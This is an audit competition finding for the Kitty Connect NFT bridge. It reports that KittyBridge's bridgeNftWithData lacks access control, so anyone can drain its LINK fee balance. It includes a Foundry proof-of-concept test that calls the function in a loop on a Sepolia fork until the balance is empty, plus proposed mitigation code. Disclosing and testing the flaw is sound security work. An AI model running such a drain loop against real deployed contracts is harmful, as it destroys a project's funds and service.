First Flight #12: Kitty Connect

First Flight #12: Kitty Connect
Beginner FriendlyFoundryNFTGameFi
100 EXP
View results
Submission Details
Severity: high
Valid

Potential for Malicious Drainage of LINK Tokens in KittyBridge

[H-2] Potential for Malicious Drainage of LINK Tokens in KittyBridge

Description: The KittyConnect::bridgeNftToAnotherChain and KittyBridge::bridgeNftWithData functions within the NFT bridge protocol are designed to facilitate the transfer of NFTs across different blockchain networks. However, a malicious user could potentially exploit these functions to repeatedly drain the bridge contract's LINK tokens. This could be achieved by repeatedly calling these functions, which would cause the bridge contract to repeatedly attempt to deduct LINK tokens as fees for the transfers. If not properly managed, this could lead to the bridge contract running out of LINK tokens, causing the project to lose money and potentially leading to a denial of service (DoS) situation where the bridge function becomes unavailable due to the depletion of LINK tokens.

Impact: The potential for malicious drainage of LINK tokens can have several significant impacts on the project:

  1. Financial Loss: The project could incur significant financial losses as the bridge contract's LINK tokens are depleted. This could affect the project's ability to cover operational costs and maintain the service.

  2. Service Availability: The depletion of LINK tokens could lead to a denial of service (DoS) situation, where the bridge function becomes unavailable. This would prevent users from transferring NFTs across different blockchain networks, severely impacting the project's utility and user experience.

Proof of Concept: To demonstrate this vulnerability, a malicious user could repeatedly call the KittyConnect::bridgeNftToAnotherChain or KittyBridge::bridgeNftWithData functions, causing the bridge contract to repeatedly attempt to deduct LINK tokens as fees for the transfers. Here is an example test which can be added to the protocol test suite, showing how the attack works:

function test_userCanEmptyBridgeOfFunds() public {
////fund the kittyBridge with link
uint256 InitialLink = 10_000_000_000_000_000_000;
uint256 minfeeNeededToBridge = 48_381_912_000_000_000; //min fee needed to bridge data once
address linkHolder = 0x61E5E1ea8fF9Dc840e0A549c752FA7BDe9224e99; //address of linkHolder on sepolia testnet
vm.prank(linkHolder);
linkToken.approve(address(kittyBridge), InitialLink + 1);
vm.prank(address(kittyBridge));
linkToken.transferFrom(linkHolder, address(kittyBridge), InitialLink);
////Malicious user empties the bridge by calling bridgeNftWithData repeatedly
uint256 bridgeAttemptCounter = 0;
vm.startPrank(user);
while (linkToken.balanceOf(address(kittyBridge)) >= minfeeNeededToBridge) {
uint64 _destinationChainSelector = 14767482510784806043;
kittyBridge.bridgeNftWithData(
_destinationChainSelector,
address(kittyBridge),
abi.encode("0x0")
);
bridgeAttemptCounter++;
}
uint256 linkBalanceAfterAttack = linkToken.balanceOf(
address(kittyBridge)
);
console.log(bridgeAttemptCounter);
assert(linkBalanceAfterAttack < minfeeNeededToBridge);
}

To run the test, use a Sepolia testnet forked URL:

forge test --fork-url $SEPOLIA_RPC_URL --mt test_userCanEmptyBridgeOfFunds -vv

Also, the gas cost for this test function is approximately 14,500,000, which is quite high and will drop the probability of the attack.

Recommended Mitigation: To mitigate this vulnerability, several measures can be implemented:

  1. Add an onlyKittyConnect Modifier: Implement an onlyKittyConnect modifier to the kittyBridge::bridgeNftWithData function. This will significantly decrease the attack probability because it costs more gas to transfer NFTs instead of just text as data, and a project user is less likely to attack the project than any other person.

  2. Require Additional Approvals: For high-value transfers, repeated transfers, or for any bridge transfer, require additional approvals or confirmations from shop owners. This could involve a multi-signature mechanism or additional user confirmation.

  3. Do Not Charge the Bridge Contract: Add onlyKittyConnect modifier and Instead of charging the bridge contract for the LINK tokens, reduce the fee amount from the user when they call for the bridge process. This is the main recommendation as it directly addresses the vulnerability by shifting the cost to the user, thereby reducing the risk of the bridge contract running out of LINK tokens.
    By implementing these mitigation strategies, the project can better protect against the potential for malicious drainage of LINK tokens and ensure the reliability and security of the NFT bridge service. Here is how the 3rd recommendation can be implemented:

function bridgeNftWithData(
uint64 _destinationChainSelector,
address _receiver,
bytes memory _data
)
external
onlyAllowlistedDestinationChain(_destinationChainSelector)
validateReceiver(_receiver)
+ onlyKittyConnect
returns (bytes32 messageId, bytes memory)
{
.
.
.
function bridgeNftToAnotherChain(uint64 destChainSelector, address destChainBridge, uint256 tokenId) external {
address catOwner = _ownerOf(tokenId);
require(msg.sender == catOwner);
CatInfo memory catInfo = s_catInfo[tokenId];
uint256 idx = catInfo.idx;
bytes memory data = abi.encode(catOwner, catInfo.catName, catInfo.breed, catInfo.image, catInfo.dob, catInfo.shopPartner);
_burn(tokenId);
delete s_catInfo[tokenId];
uint256[] memory userTokenIds = s_ownerToCatsTokenId[msg.sender];
uint256 lastItem = userTokenIds[userTokenIds.length - 1];
s_ownerToCatsTokenId[msg.sender].pop();
if (idx < (userTokenIds.length - 1)) {
s_ownerToCatsTokenId[msg.sender][idx] = lastItem;
}
+ uint256 fee = i_kittyBridge.getFee(destChainSelector, destChainBridge, data);
+ // this function does not currently exist in kitty bridge and should be added if protocol wants to use this method
+ IERC20 linkToken = IERC20(i_kittyBridge.getLinkToken());
+ linkToken.transferFrom(msg.sender,i_kittyBridge,fee);
emit NFTBridgeRequestSent(block.chainid, destChainSelector, destChainBridge, tokenId);
i_kittyBridge.bridgeNftWithData(destChainSelector, destChainBridge, data);
}
Updates

Lead Judging Commences

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

`bridgeNftWithData` misses access control

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.